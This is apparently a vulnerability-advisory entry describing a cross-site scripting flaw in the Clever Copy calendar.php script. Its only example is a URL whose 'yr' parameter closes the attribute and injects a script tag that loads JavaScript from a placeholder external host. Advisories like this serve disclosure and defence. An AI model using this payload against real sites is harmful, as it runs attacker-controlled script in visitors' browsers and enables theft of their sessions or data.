• info
• discussion
• exploit
• solution
• references

Clever Copy Calendar.PHP Cross-Site Scripting Vulnerability

An example has been provided:

http://www.example.com/calendar.php?mth=3&yr=2006"><script src=
"http://www.example.com/dev/injection/js.js"></script>